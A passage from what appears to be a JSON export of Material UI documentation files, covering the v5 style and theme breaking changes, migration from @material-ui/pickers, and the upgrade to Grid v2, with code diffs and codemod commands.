(min-width:600px)'\n+<Hidden mdDown>{...}</Hidden> // '@media (min-width:600px)'\n```\n\n### Breakpoint sizes\n\nThe default breakpoints were changed to better match common use cases as well as the Material Design guidelines.\n\nYou can find out more details about this change in [this GitHub issue](https://github.com/mui/material-ui/issues/21902)\n\n```diff\n {\n   xs: 0,\n   sm: 600,\n-  md: 960,\n+  md: 900,\n-  lg: 1280,\n+  lg: 1200,\n-  xl: 1920,\n+  xl: 1536,\n }\n```\n\nIf you prefer the old breakpoint values, use the snippet below:\n\n```js\nimport { createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      xs: 0,\n      sm: 600,\n      md: 960,\n      lg: 1280,\n      xl: 1920,\n    },\n  },\n});\n```\n\n### ✅ Replace theme.breakpoints.width\n\nThe `theme.breakpoints.width` utility has been removed because it was redundant.\n\nUse `theme.breakpoints.values` to get the same values.\n\n```diff\n-theme.breakpoints.width('md')\n+theme.breakpoints.values.md\n```\n\n### Update theme.palette.augmentColor helper\n\nThe signature of `theme.palette.augmentColor` helper has changed:\n\n```diff\n-theme.palette.augmentColor(red);\n+theme.palette.augmentColor({ color: red, name: 'brand' });\n```\n\n### Remove theme.typography.round helper\n\nThe `theme.typography.round` helper was removed because it was no longer used.\n\nIf you need it, use the function below:\n\n```js\nfunction round(value) {\n  return Math.round(value * 1e5) / 1e5;\n}\n```\n\n## @mui/types\n\n### Rename the exported Omit type\n\nThe module is now called `DistributiveOmit`.\n\nThis change removes the confusion with the built-in `Omit` helper introduced in TypeScript v3.5.\n\nThe built-in `Omit`, while similar, is non-distributive.\nThis leads to differences when applied to union types.\n[See this Stack Overflow answer for further details](https://stackoverflow.com/questions/57103834/omit-a-property-from-all-interfaces-in-a-union-but-keep-the-union-structure/57103940#57103940).\n\n```diff\n-import { Omit } from '@mui/types';\n+import { DistributiveOmit } from '@mui/types';\n```\n"
  },
  {
    "path": "docs/data/material/migration/migration-v4/v5-style-changes.md",
    "content": "# Breaking changes in v5, part one: styles and themes\n\n<p class=\"description\">This is a reference guide to the breaking changes introduced in Material UI v5, and how to migrating from v4. This part covers changes to styling and theming.</p>\n\n## Material UI v5 migration\n\n1. [Getting started](/material-ui/migration/migration-v4/)\n2. Breaking changes part one: style and theme 👈 _you are here_\n3. [Breaking changes part two: components](/material-ui/migration/v5-component-changes/)\n4. [Migrating from JSS](/material-ui/migration/migrating-from-jss/)\n5. [Troubleshooting](/material-ui/migration/troubleshooting/)\n\n## Breaking changes, part one\n\nMaterial UI v5 introduces a number of breaking changes from v4.\nMany of these changes can be resolved automatically using [the codemods](/material-ui/migration/migration-v4/#run-codemods) described in the [main migration guide](/material-ui/migration/migration-v4/).\n\nThe following document lists all breaking changes related to styles and themes in v5 and how to address them.\n\nAfter you're finished here, please move on to [Breaking changes in v5 part two: components](/material-ui/migration/v5-component-changes/) to continue the migration process.\n\n:::warning\nBreaking changes that are handled by codemods are denoted by a ✅ emoji in the table of contents on the right side of the screen.\n\nIf you have already followed the instructions in the main migration guide and run the codemods, then you should not need to take any further action on these items.\n\nAll other changes must be handled manually.\n:::\n\n## Migrate theme styleOverrides to Emotion\n\n### Refactor local rule references\n\nAlthough your style overrides defined in the theme may partially work, there is an important difference regarding how the nested elements are styled.\n\nThe `$` syntax (local rule reference) used with JSS will not work with Emotion.\nYou need to replace those selectors with a valid class selector.\n\n#### Replace state class names\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiOutlinedInput: {\n       styleOverrides: {\n         root: {\n-          '&$focused': {\n+          '&.Mui-focused': {\n             borderWidth: 1,\n           }\n         }\n       }\n     }\n   }\n });\n```\n\n#### Replace nested classes selectors with global class names\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiOutlinedInput: {\n       styleOverrides: {\n         root: {\n-          '& $notchedOutline': {\n+          '& .MuiOutlinedInput-notchedOutline': {\n             borderWidth: 1,\n           }\n         }\n       }\n     }\n   }\n });\n```\n\n:::info\nFor each component, we export a `[component]Classes` constant that contains all nested classes for that component.\n\nYou can rely on this instead of hardcoding the classes.\n:::\n\n```diff\n+import { outlinedInputClasses } from '@mui/material/OutlinedInput';\n\n const theme = createTheme({\n   components: {\n     MuiOutlinedInput: {\n       styleOverrides: {\n         root: {\n-          '& $notchedOutline': {\n+          [`& .${outlinedInputClasses.notchedOutline}`]: {\n             borderWidth: 1,\n           }\n         }\n       }\n     }\n   }\n });\n```\n\nTake a look at the complete [list of global state classnames](/material-ui/customization/how-to-customize/#state-classes) available.\n\n### Refactor alternative syntax for space- and comma-separated values\n\nThe alternative, array-based syntax JSS supports for space- and comma-separated values is not supported by Emotion.\n\n#### Replace array-based values with string-based values\n\n**Before**\n\n```jsx\nconst theme = createTheme({\n  overrides: {\n    MuiBox: {\n      root: {\n        background: [\n          ['url(image1.png)', 'no-repeat', 'top'],\n          ['url(image2.png)', 'no-repeat', 'center'],\n          '!important',\n        ],\n      },\n    },\n  },\n});\n```\n\n**After**\n\n```jsx\nconst theme = createTheme({\n  components: {\n    MuiBox: {\n      styleOverrides: {\n        root: {\n          background:\n            'url(image1.png) no-repeat top, url(image2.png) no-repeat center !important',\n        },\n      },\n    },\n  },\n});\n```\n\nBe sure to add units to numeric values as appropriate.\n\n**Before**\n\n```jsx\nconst theme = createTheme({\n  overrides: {\n    MuiOutlinedInput: {\n      root: {\n        padding: [[5, 8, 6]],\n      },\n    },\n  },\n});\n```\n\n**After**\n\n```jsx\nconst theme = createTheme({\n  components: {\n    MuiOutlinedInput: {\n      styleOverrides: {\n        root: {\n          padding: '5px 8px 6px',\n        },\n      },\n    },\n  },\n});\n```\n\n## ref\n\n### Refactor non-ref-forwarding class components\n\nSupport for non-ref-forwarding class components in the `component` prop or as immediate `children` has been dropped.\n\nIf you were using `unstable_createStrictModeTheme` or didn't see any warnings related to `findDOMNode` in `React.StrictMode` then you don't need to take any further action.\n\nOtherwise check out the [Caveat with refs](/material-ui/guides/composition/#caveat-with-refs) section in the Composition guide to find out how to migrate.\nThis change affects almost all components where you're using the `component` prop or passing `children` to components that require `children` to be elements (for example `<MenuList><CustomMenuItem /></MenuList>`).\n\n### Fix ref type specificity\n\nFor some components, you may get a type error when passing `ref`.\nTo avoid the error, you should use a specific element type.\nFor example, `Card` expects the type of `ref` to be `HTMLDivElement`, and `ListItem` expects its `ref` type to be `HTMLLIElement`.\n\nHere is an example:\n\n```diff\n import * as React from 'react';\n import Card from '@mui/material/Card';\n import ListItem from '@mui/material/ListItem';\n\n export default function SpecificRefType() {\n-  const cardRef = React.useRef<HTMLElement>(null);\n+  const cardRef = React.useRef<HTMLDivElement>(null);\n\n-  const listItemRef = React.useRef<HTMLElement>(null);\n+  const listItemRef = React.useRef<HTMLLIElement>(null);\n   return (\n     <div>\n       <Card ref={cardRef}></Card>\n       <ListItem ref={listItemRef}></ListItem>\n     </div>\n   );\n }\n```\n\nHere are the specific element types that each component expects:\n\n#### @mui/material\n\n- [Accordion](/material-ui/api/accordion/) - `HTMLDivElement`\n- [Alert](/material-ui/api/alert/) - `HTMLDivElement`\n- [Avatar](/material-ui/api/avatar/) - `HTMLDivElement`\n- [ButtonGroup](/material-ui/api/button-group/) - `HTMLDivElement`\n- [Card](/material-ui/api/card/) - `HTMLDivElement`\n- [Dialog](/material-ui/api/dialog/) - `HTMLDivElement`\n- [ImageList](/material-ui/api/image-list/) - `HTMLUListElement`\n- [List](/material-ui/api/list/) - `HTMLUListElement`\n- [Tab](/material-ui/api/tab/) - `HTMLDivElement`\n- [Tabs](/material-ui/api/tabs/) - `HTMLDivElement`\n- [ToggleButton](/material-ui/api/toggle-button/) - `HTMLButtonElement`\n\n#### @mui/lab\n\n- [Timeline](/material-ui/api/timeline/) - `HTMLUListElement`\n\n## Style library\n\n### ✅ Adjust CSS injection order\n\nThe style library used by default in v5 is [Emotion](https://emotion.sh/docs/introduction).\n\nIf you were using JSS for the style overrides of Material UI components—for example, those created by `makeStyles`—you will need to take care of the CSS injection order.\nJSS `<style`>' elements need to be injected in the `<head>` after Emotion `<style>`' elements.\n\nTo do so, you need to have the `StyledEngineProvider` with the `injectFirst` option at the top of your component tree, as shown here:\n\n```jsx\nimport * as React from 'react';\nimport { StyledEngineProvider } from '@mui/material/styles';\n\nexport default function GlobalCssPriority() {\n  return (\n    {/* Inject Emotion before JSS */}\n    <StyledEngineProvider injectFirst>\n      {/* Your component tree. Now you can override Material UI's styles. */}\n    </StyledEngineProvider>\n  );\n}\n```\n\n### ✅ Add prepend to createCache\n\nIf you have a custom cache and are using Emotion to style your app, it will override the cache provided by Material UI.\n\nTo correct the injection order, add the `prepend` option to `createCache`, as shown below:\n\n```diff\n import * as React from 'react';\n import { CacheProvider } from '@emotion/react';\n import createCache from '@emotion/cache';\n\n const cache = createCache({\n   key: 'css',\n+  prepend: true,\n });\n\n export default function PlainCssPriority() {\n   return (\n     <CacheProvider value={cache}>\n       {/* Your component tree. Now you can override Material UI's styles. */}\n     </CacheProvider>\n   );\n }\n```\n\n:::warning\nIf you are using styled-components and have a `StyleSheetManager` with a custom `target`, make sure that the target is the first element in the HTML `<head>`.\n\nTo see how it can be done, take a look at the [`StyledEngineProvider` implementation](https://github.com/mui/material-ui/blob/-/packages/mui-styled-engine-sc/src/StyledEngineProvider/StyledEngineProvider.js) in the `@mui/styled-engine-sc` package.\n:::\n\n## Theme structure\n\n### ✅ Add adaptV4Theme helper\n\nThe structure of the theme has changed in v5. You need to update its shape.\nFor a smoother transition, the `adaptV4Theme` helper allows you to iteratively upgrade some of the theme changes to the new theme structure.\n\n```diff\n-import { createMuiTheme } from '@mui/material/styles';\n+import { createTheme, adaptV4Theme } from '@mui/material/styles';\n\n-const theme = createMuiTheme({\n+const theme = createTheme(adaptV4Theme({\n   // v4 theme\n-});\n+}));\n```\n\n:::warning\nThis adapter only handles the input arguments of `createTheme()`.\nIf you modify the shape of the theme after its creation, you need to migrate the structure manually.\n:::\n\nThe following changes are supported by the adapter:\n\n### Remove gutters\n\nThe \"gutters\" abstraction hasn't proven to be used frequently enough to be valuable.\n\n```diff\n-theme.mixins.gutters(),\n+paddingLeft: theme.spacing(2),\n+paddingRight: theme.spacing(2),\n+[theme.breakpoints.up('sm')]: {\n+  paddingLeft: theme.spacing(3),\n+  paddingRight: theme.spacing(3),\n+},\n```\n\n### ✅ Remove px suffix\n\n`theme.spacing` now returns single values with px units by default.\nThis change improves the integration with styled-components & Emotion.\n\nBefore:\n\n```js\ntheme.spacing(2) => 16\n```\n\nAfter:\n\n```js\ntheme.spacing(2) => '16px'\n```\n\n### ✅ Rename theme.palette.type\n\nThe `theme.palette.type` key was renamed to `theme.palette.mode`, to better follow the \"dark mode\" terminology that is usually used for describing this feature.\n\n```diff\n import { createTheme } from '@mui/material/styles';\n-const theme = createTheme({ palette: { type: 'dark' } }),\n+const theme = createTheme({ palette: { mode: 'dark' } }),\n```\n\n### Change default theme.palette.info colors\n\nThe default `theme.palette.info` colors were changed to pass the AA accessibility standard contrast ratio in both light and dark modes.\n\n```diff\n  info = {\n-  main: cyan[500],\n+  main: lightBlue[700], // lightBlue[400] in \"dark\" mode\n\n-  light: cyan[300],\n+  light: lightBlue[500], // lightBlue[300] in \"dark\" mode\n\n-  dark: cyan[700],\n+  dark: lightBlue[900], // lightBlue[700] in \"dark\" mode\n  }\n```\n\n### Change default theme.palette.success colors\n\nThe default `theme.palette.success` colors were changed to pass the AA accessibility standard contrast ratio in both light and dark modes.\n\n```diff\n  success = {\n-  main: green[500],\n+  main: green[800], // green[400] in \"dark\" mode\n\n-  light: green[300],\n+  light: green[500], // green[300] in \"dark\" mode\n\n-  dark: green[700],\n+  dark: green[900], // green[700] in \"dark\" mode\n  }\n```\n\n### Change default theme.palette.warning colors\n\nThe default `theme.palette.warning` colors were changed to pass the AA accessibility standard contrast ratio in both light and dark modes.\n\n```diff\n  warning = {\n-  main: orange[500],\n+  main: '#ED6C02', // orange[400] in \"dark\" mode\n\n-  light: orange[300],\n+  light: orange[500], // orange[300] in \"dark\" mode\n\n-  dark: orange[700],\n+  dark: orange[900], // orange[700] in \"dark\" mode\n  }\n```\n\n### Restore theme.palette.text.hint key (if needed)\n\nThe `theme.palette.text.hint` key was unused in Material UI components, and has been removed.\nIf you depend on it, you can add it back:\n\n```diff\n  import { createTheme } from '@mui/material/styles';\n\n-const theme = createTheme(),\n+const theme = createTheme({\n+  palette: { text: { hint: 'rgba(0, 0, 0, 0.38)' } },\n+});\n```\n\n### Restructure component definitions\n\nThe component definitions in the theme were restructured under the `components` key to make them easier to find.\n\n#### 1. props\n\n```diff\n import { createTheme } from '@mui/material/styles';\n\n const theme = createTheme({\n-  props: {\n-    MuiButton: {\n-      disableRipple: true,\n-    },\n-  },\n+  components: {\n+    MuiButton: {\n+      defaultProps: {\n+        disableRipple: true,\n+      },\n+    },\n+  },\n });\n```\n\n#### 2. overrides\n\n```diff\n import { createTheme } from '@mui/material/styles';\n\n const theme = createTheme({\n-  overrides: {\n-    MuiButton: {\n-      root: { padding: 0 },\n-    },\n-  },\n+  components: {\n+    MuiButton: {\n+      styleOverrides: {\n+        root: { padding: 0 },\n+      },\n+    },\n+  },\n });\n```\n\n## @mui/styles\n\n### Update ThemeProvider import\n\nIf you are using the utilities from `@mui/styles` together with the `@mui/material`, you should replace the use of `ThemeProvider` from `@mui/styles` with the one exported from `@mui/material/styles`.\n\nThis way, the `theme` provided in the context will be available in both the styling utilities exported from `@mui/styles`, like `makeStyles`, `withStyles`, etc., along with the Material UI components.\n\n```diff\n-import { ThemeProvider } from '@mui/styles';\n+import { ThemeProvider } from '@mui/material/styles';\n```\n\nMake sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available in the utilities coming from `@mui/styles`.\n\n### ✅ Add module augmentation for DefaultTheme (TypeScript)\n\nThe `@mui/styles` package is no longer part of `@mui/material/styles`.\n\nIf you are using `@mui/styles` together with `@mui/material` you need to add a module augmentation for the `DefaultTheme`.\n\n```ts\n// in the file where you are creating the theme (invoking the function `createTheme()`)\nimport { Theme } from '@mui/material/styles';\n\ndeclare module '@mui/styles' {\n  interface DefaultTheme extends Theme {}\n}\n```\n\n## @mui/material/colors\n\n### ✅ Change color imports\n\nNested imports of more than one level are private. For example, you can no longer import `red` from `@mui/material/colors/red`.\n\n```diff\n-import red from '@mui/material/colors/red';\n+import { red } from '@mui/material/colors';\n```\n\n## @mui/material/styles\n\n### ✅ Rename fade to alpha\n\n`fade()` was renamed to `alpha()` to better describe its functionality.\n\nThe previous name caused confusion when the input color already had an alpha value. The helper overrides the alpha value of the color.\n\n```diff\n-import { fade } from '@mui/material/styles';\n+import { alpha } from '@mui/material/styles';\n\n  const classes = makeStyles(theme => ({\n-  backgroundColor: fade(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n+  backgroundColor: alpha(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n  }));\n```\n\n### ✅ Update createStyles import\n\nThe `createStyles` function from `@mui/material/styles` was moved to the one exported from `@mui/styles`. It is necessary for removing the dependency on `@mui/styles` in the Material UI npm package.\n\n```diff\n-import { createStyles } from '@mui/material/styles';\n+import { createStyles } from '@mui/styles';\n```\n\n### ✅ Update createGenerateClassName import\n\nThe `createGenerateClassName` function is no longer exported from `@mui/material/styles`.\nYou can import it from the deprecated `@mui/styles` package if you need to continue using it.\n\n```diff\n-import { createGenerateClassName } from '@mui/material/styles';\n+import { createGenerateClassName } from '@mui/styles';\n```\n\nTo generate custom class names without using `@mui/styles`, check out [ClassName Generator](/material-ui/experimental-api/classname-generator/) for more details.\n\n### ✅ Rename createMuiTheme\n\nThe function `createMuiTheme` was renamed to `createTheme()` to make it more intuitive to use with `ThemeProvider`.\n\n```diff\n-import { createMuiTheme } from '@mui/material/styles';\n+import { createTheme } from '@mui/material/styles';\n\n-const theme = createMuiTheme({\n+const theme = createTheme({\n```\n\n### ✅ Update MuiThemeProvider import\n\nThe `MuiThemeProvider` component is no longer exported from `@mui/material/styles`. Use `ThemeProvider` instead.\n\n```diff\n-import { MuiThemeProvider } from '@mui/material/styles';\n+import { ThemeProvider } from '@mui/material/styles';\n```\n\n### ✅ Update jssPreset import\n\nThe `jssPreset` object is no longer exported from `@mui/material/styles`.\nYou can import it from the deprecated `@mui/styles` package if you need to continue using it.\n\n```diff\n-import { jssPreset } from '@mui/material/styles';\n+import { jssPreset } from '@mui/styles';\n```\n\n### ✅ Update `makeStyles` import\n\nSince Material UI v5 doesn't use JSS, the JSS-based `makeStyles` utility is no longer exported by `@mui/material/styles`.\nWhile migrating your app away from JSS, you can temporarily import this deprecated utility from `@mui/styles/makeStyles` before refactoring your components further.\n\nMake sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available.\n\nIf you are using this utility together with `@mui/material`, it's recommended that you use the `ThemeProvider` component from `@mui/material/styles` instead.\n\n```diff\n-import { makeStyles } from '@mui/material/styles';\n+import { makeStyles } from '@mui/styles';\n+import { createTheme, ThemeProvider } from '@mui/material/styles';\n\n+const theme = createTheme();\n  const useStyles = makeStyles((theme) => ({\n    background: theme.palette.primary.main,\n  }));\n  function Component() {\n    const classes = useStyles();\n    return <div className={classes.root} />\n  }\n\n  // In the root of your app\n  function App(props) {\n-  return <Component />;\n+  return <ThemeProvider theme={theme}><Component {...props} /></ThemeProvider>;\n  }\n```\n\n### ✅ Update ServerStyleSheets import\n\nThe `ServerStyleSheets` component is no longer exported from `@mui/material/styles`.\nYou can import it from the deprecated `@mui/styles` package if you need to continue using it.\n\n```diff\n-import { ServerStyleSheets } from '@mui/material/styles';\n+import { ServerStyleSheets } from '@mui/styles';\n```\n\n### styled\n\nSince Material UI v5 doesn't use JSS, the JSS-based `styled` utility exported by `@mui/material/styles` has been replaced with an equivalent Emotion-based utility that's not backwards compatible.\nWhile migrating your app away from JSS, you can temporarily import the JSS-based utility from the deprecated `@mui/styles` package before refactoring your components further.\n\nMake sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available.\n\nIf you are using this utility together with `@mui/material`, it's recommended you use the `ThemeProvider` component from `@mui/material/styles` instead.\n\n```diff\n-import { styled } from '@mui/material/styles';\n+import { styled } from '@mui/styles';\n+import { createTheme, ThemeProvider } from '@mui/material/styles';\n\n+const theme = createTheme();\n  const MyComponent = styled('div')(({ theme }) => ({ background: theme.palette.primary.main }));\n\n  function App(props) {\n-  return <MyComponent />;\n+  return <ThemeProvider theme={theme}><MyComponent {...props} /></ThemeProvider>;\n  }\n```\n\n### ✅ Update StylesProvider import\n\nThe `StylesProvider` component is no longer exported from `@mui/material/styles`.\nYou can import it from the deprecated `@mui/styles` package if you need to continue using it.\n\n```diff\n-import { StylesProvider } from '@mui/material/styles';\n+import { StylesProvider } from '@mui/styles';\n```\n\n### ✅ Update useThemeVariants import\n\nThe `useThemeVariants` hook is no longer exported from `@mui/material/styles`.\nYou can import it from the deprecated `@mui/styles` package if you need to continue using it.\n\n```diff\n-import { useThemeVariants } from '@mui/material/styles';\n+import { useThemeVariants } from '@mui/styles';\n```\n\n### ✅ Update withStyles import\n\nSince Material UI v5 doesn't use JSS, the JSS-based `withStyles` utility is no longer exported by `@mui/material/styles`.\nWhile migrating your app away from JSS, you can temporarily import this deprecated utility from `@mui/styles/withStyles` before refactoring your components further.\n\nMake sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available.\n\nIf you are using this utility together with `@mui/material`, you should use the `ThemeProvider` component from `@mui/material/styles` instead.\n\n```diff\n-import { withStyles } from '@mui/material/styles';\n+import { withStyles } from '@mui/styles';\n+import { createTheme, ThemeProvider } from '@mui/material/styles';\n\n+const defaultTheme = createTheme();\n  const MyComponent = withStyles((props) => {\n    const { classes, className, ...other } = props;\n    return <div className={clsx(className, classes.root)} {...other} />\n  })(({ theme }) => ({ root: { background: theme.palette.primary.main }}));\n\n  function App() {\n-  return <MyComponent />;\n+  return <ThemeProvider theme={defaultTheme}><MyComponent /></ThemeProvider>;\n  }\n```\n\n### ✅ Replace innerRef with ref\n\nReplace the `innerRef` prop with the `ref` prop. Refs are now automatically forwarded to the inner component.\n\n```diff\n  import * as React from 'react';\n  import { withStyles } from '@mui/styles';\n\n  const MyComponent = withStyles({\n    root: {\n      backgroundColor: 'red',\n    },\n  })(({ classes }) => <div className={classes.root} />);\n\n  function MyOtherComponent(props) {\n    const ref = React.useRef();\n-  return <MyComponent innerRef={ref} />;\n+  return <MyComponent ref={ref} />;\n  }\n```\n\n### Update withTheme import\n\nThe `withTheme` HOC utility has been removed from the `@mui/material/styles` package. You can use `@mui/styles/withTheme` instead.\n\nMake sure to add a `ThemeProvider` at the root of your application, as the `defaultTheme` is no longer available.\n\nIf you are using this utility together with `@mui/material`, it's recommended you use the `ThemeProvider` component from `@mui/material/styles` instead.\n\n```diff\n-import { withTheme } from '@mui/material/styles';\n+import { withTheme } from '@mui/styles';\n+import { createTheme, ThemeProvider } from '@mui/material/styles';\n\n+const theme = createTheme();\n  const MyComponent = withTheme(({ theme }) => <div>{theme.direction}</div>);\n\n  function App(props) {\n-  return <MyComponent />;\n+  return <ThemeProvider theme={theme}><MyComponent {...props} /></ThemeProvider>;\n  }\n```\n\n### ✅ Remove withWidth\n\nThis HOC was removed. If you need this feature, you can try [the alternative that uses the `useMediaQuery` hook](/material-ui/react-use-media-query/#migrating-from-withwidth).\n\n## @mui/icons-material\n\n### Reduce GitHub icon size\n\nThe GitHub icon was reduced in size from 24px to 22px wide to match the size of the other icons.\n\n## @material-ui/pickers\n\nWe have a [dedicated page](/material-ui/migration/pickers-migration/) for migrating `@material-ui/pickers` to v5.\n\n## System\n\n### ✅ Rename gap props\n\nThe following system functions and properties were renamed because they are considered deprecated CSS:\n\n- `gridGap` becomes `gap`\n- `gridRowGap` becomes `rowGap`\n- `gridColumnGap` becomes `columnGap`\n\n### ✅ Add spacing units to gap props\n\nUse a spacing unit in `gap`, `rowGap`, and `columnGap`. If you were using a number previously, you need to mention the px to bypass the new transformation with `theme.spacing`.\n\n```diff\n  <Box\n-  gap={2}\n+  gap=\"2px\"\n  >\n```\n\nReplace `css` prop with `sx` to avoid collision with styled-components and Emotion's `css` prop.\n\n```diff\n-<Box css={{ color: 'primary.main' }} />\n+<Box sx={{ color: 'primary.main' }} />\n```\n\n:::warning\nThe system grid function was not documented in v4.\n:::\n"
  },
  {
    "path": "docs/data/material/migration/pickers-migration/pickers-migration.md",
    "content": "# Migration from @material-ui/pickers\n\n<p class=\"description\"><code>@material-ui/pickers</code> was moved to the <code>@mui/lab</code>.</p>\n\n:::success\n**Only use this migration guide if you need to use Date and Time pickers from `@mui/lab`.**\n\nThe components are available in alpha version in the lab between `v5.0.0-alpha.30` and `v5.0.0-alpha.89` inclusively.\nThey won't receive any new feature of bug fixes and won't be compatible with future major releases of Material UI packages.\n\nIf you want to use the **stable version** of those components, please have a look at the new [MUI X packages](/x/react-date-pickers/) `@mui/x-date-pickers` and `@mui/x-date-pickers-pro`.\n\nTo migrate from `@mui/lab` to `@mui/x-date-pickers` you can follow the dedicated [migration guide](/x/migration/migration-pickers-lab/).\n:::\n\n:::warning\n**The date picker components were rewritten**. In most places, the logic was rewritten from scratch, so it isn't possible to maintain the whole list of changes. Here's an overview of the most important concepts that were changed. If you are going to upgrade, the easiest way might be to go through each picker usage in your codebase, and rewrite them one at a time. Don't forget to run your tests after each!\n:::\n\nThis guide is an overview of the core concepts that were changed from pickers v3.2.10.\n\n## Installation\n\nYou need to install the `@mui/lab` package if it's not already installed.\n⚠️ Make sure you have installed a version between `v5.0.0-alpha.30` and `v5.0.0-alpha.89` inclusively.\n\n:::warning\nThe pickers are no longer available in `@mui/lab` starting `v5.0.0-alpha.90`.\nPlease refer to the information on top of the page to use the latest pickers components.\n:::\n\n## Imports\n\nThe `keyboard` version of pickers is no longer published. All versions of mobile and desktop pickers implement keyboard input for accessibility.\n\n```diff\n-import { KeyboardDatePicker } from '@material-ui/pickers';\n+import DatePicker from '@mui/lab/DatePicker';\n\n-<KeyboardDatePicker />\n+<DatePicker />\n```\n\nAlso, instead of providing a `variant` prop, these were moved to different imports, meaning that your bundle won't include `Dialog` if you are using only the desktop picker.\n\n- `<DesktopDatePicker />` – Only desktop view.\n- `<MobileDatePicker />` – Only mobile view.\n- `<DatePicker />` – Mobile or Desktop view according to the user **pointer** preference.\n- `<StaticDatePicker />` – The picker view itself, without input or any other wrapper.\n\n```diff\n-import { DatePicker } from '@material-ui/pickers';\n+import DesktopDatePicker from '@mui/lab/DesktopDatePicker';\n\n-<DatePicker variant=\"inline\" />\n+<DesktopDatePicker />\n```\n\nThe same convention applies to `TimePicker` – `<DesktopTimePicker>` and `<MobileTimePicker />`.\n\n## MuiPickersUtilsProvider\n\nThe `MuiPickersUtilsProvider` was removed in favor of `LocalizationProvider`. Also, pickers do not require you to install date-io adapters manually. Everything is included with the `lab`.\n\n❌ Before:\n\n```js\nimport AdapterDateFns from '@date-io/date-fns';\nimport { MuiPickersUtilsProvider } from '@material-ui/pickers';\n```\n\n✅ After:\n\n```jsx\nimport AdapterDateFns from '@mui/lab/AdapterDateFns';\nimport LocalizationProvider from '@mui/lab/LocalizationProvider';\n\n\nfunction App() {\n  return (\n    <LocalizationProvider dateAdapter={AdapterDateFns}>\n      ...\n    </LocalizationProvider>\n  )\n);\n```\n\n## Render input\n\nWe introduced a new **required** `renderInput` prop. This simplifies using non-Material UI text field input components.\n\n```jsx\n<DatePicker renderInput={(props) => <TextField {...props} />} />\n<TimePicker renderInput={(props) => <TextField {...props} />} />\n```\n\nPreviously, props were spread on the `<TextField />` component. From now on you will need to use the new `renderInput` prop to provide these:\n\n```diff\n <DatePicker\n-  label=\"Date\"\n-  helperText=\"Something\"\n+  renderInput={props => <TextField label=\"Date\" helperText=\"Something\" /> }\n />\n```\n\n## State management\n\nThe state/value management logic for pickers was rewritten from scratch. Pickers will now call the `onChange` prop when each view of the date picker ends is completed. The `onError` handler is also completely different. Triple-check your pickers with forms integration, because form-integration issues can be subtle.\n\n## No required mask\n\nMask is no longer required. Also, if your provided mask is not valid, pickers will just ignore the mask, and allow arbitrary input.\n\n```jsx\n<DatePicker\n  mask=\"mm\"\n  value={new Date()}\n  onChange={console.log}\n  renderInput={(props) => (\n    <TextField {...props} helperText=\"invalid mask\" />\n  )}\n/>\n\n<DatePicker\n  value={new Date()}\n  onChange={console.log}\n  renderInput={(props) => (\n    <TextField {...props} helperText=\"valid mask\" />\n  )}\n/>\n```\n\n## And many more\n\n```diff\n <DatePicker\n-  format=\"DD-MM-YYYY\"\n+  inputFormat=\"DD-MM-YYYY\"\n```\n\nThere are many changes, be careful, make sure your tests, and build passes.\nIn the event you have an advanced usage of the date picker, it will likely be simpler to rewrite it.\n\n:::success\nIn case you are considering your picker component rewrite, consider using the latest [MUI X packages](/x/react-date-pickers/).\n:::\n\nPlease open a pull request to improve the guide if you notice an opportunity for doing such.\n"
  },
  {
    "path": "docs/data/material/migration/upgrade-to-grid-v2/upgrade-to-grid-v2.md",
    "content": "# Upgrade to Grid v2\n\n<p class=\"description\">This guide explains how and why to migrate from the GridLegacy component to the Grid component.</p>\n\n## Grid component versions\n\nIn Material UI v7, the GridLegacy component has been deprecated and replaced by Grid, which offers several new features as well as significant improvements to the developer experience.\nThis guide explains how to upgrade from GridLegacy to Grid, and includes details for Material UI v5, v6, and v7.\n\n## Why you should upgrade\n\nGrid provides the following improvements over GridLegacy:\n\n- It uses CSS variables, removing CSS specificity from class selectors.\n  You can use `sx` prop to control any style you'd like.\n- All grids are considered items without specifying the `item` prop.\n- The [offset feature](/material-ui/react-grid/#offset) gives you more flexibility for positioning.\n- [Nested grids](/material-ui/react-grid/#nested-grid) now have no depth limitation.\n- Its implementation doesn't use negative margins so it doesn't overflow.\n\n## How to upgrade\n\n### Prerequisites\n\nBefore proceeding with this upgrade:\n\n- You must be on Material UI v5+.\n- If you're in the process of upgrading your Material UI version, you should complete that upgrade first.\n\n### 1. Update the import\n\nDepending on the Material UI version you are using, you must update the import as follows:\n\n<codeblock storageKey=\"material-ui-version\">\n\n```diff v7\n// The legacy Grid component is named GridLegacy\n-import Grid from '@mui/material/GridLegacy';\n\n// The updated Grid component is named Grid\n+import Grid from '@mui/material/Grid';\n\n```\n\n```diff v6\n// The legacy Grid component is named Grid\n-import Grid from '@mui/material/Grid';\n\n// The updated Grid component is named Grid2\n+import Grid from '@mui/material/Grid2';\n```\n\n```diff v5\n// The legacy Grid component is named Grid\n-import Grid from '@mui/material/Grid';\n\n// The updated Grid component is named Unstable_Grid2\n+import Grid from '@mui/material/Unstable_Grid2';\n```\n\n</codeblock>\n\n### 2. Remove legacy props\n\nThe `item` and `zeroMinWidth` props have been removed in the updated Grid.\nYou can safely remove them:\n\n```diff\n-<Grid item zeroMinWidth>\n+<Grid>\n```\n\n### 3. Update the size props\n\n:::warning\nSkip this step if you're using Material UI v5.\n:::\n\nIn the GridLegacy component, the size props were named to correspond with the theme's breakpoints.\nFor the default theme, these were `xs`, `sm`, `md`, `lg`, and `xl`.\n\nStarting from Material UI v6, these props are renamed to `size` on the updated Grid:\n\n```diff\n <Grid\n-  xs={12}\n-  sm={6}\n+  size={{ xs: 12, sm: 6 }}\n >\n```\n\nIf the size is the same for all breakpoints, then you can use a single value:\n\n```diff\n-<Grid xs={6}>\n+<Grid size={6}>\n```\n\nAdditionally, the `true` value for the size props was renamed to `\"grow\"`:\n\n```diff\n-<Grid xs>\n+<Grid size=\"grow\">\n```\n\nYou can use the following codemod to update the size props:\n\n<codeblock storageKey=\"material-ui-version\">\n\n```bash v7\nnpx @mui/codemod@next v7.0.0/grid-props <path/to/folder>\n```\n\n```bash v6\nnpx @mui/codemod@latest v6.0.0/grid-v2-props <path/to/folder>\n```\n\n```text 